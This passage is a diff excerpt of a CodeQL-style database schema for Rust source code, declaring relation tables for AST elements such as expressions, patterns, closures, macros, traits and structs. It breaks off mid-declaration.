+become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_attribute_macro_expansions( + int id: @item ref, + int attribute_macro_expansion: @macro_items ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: 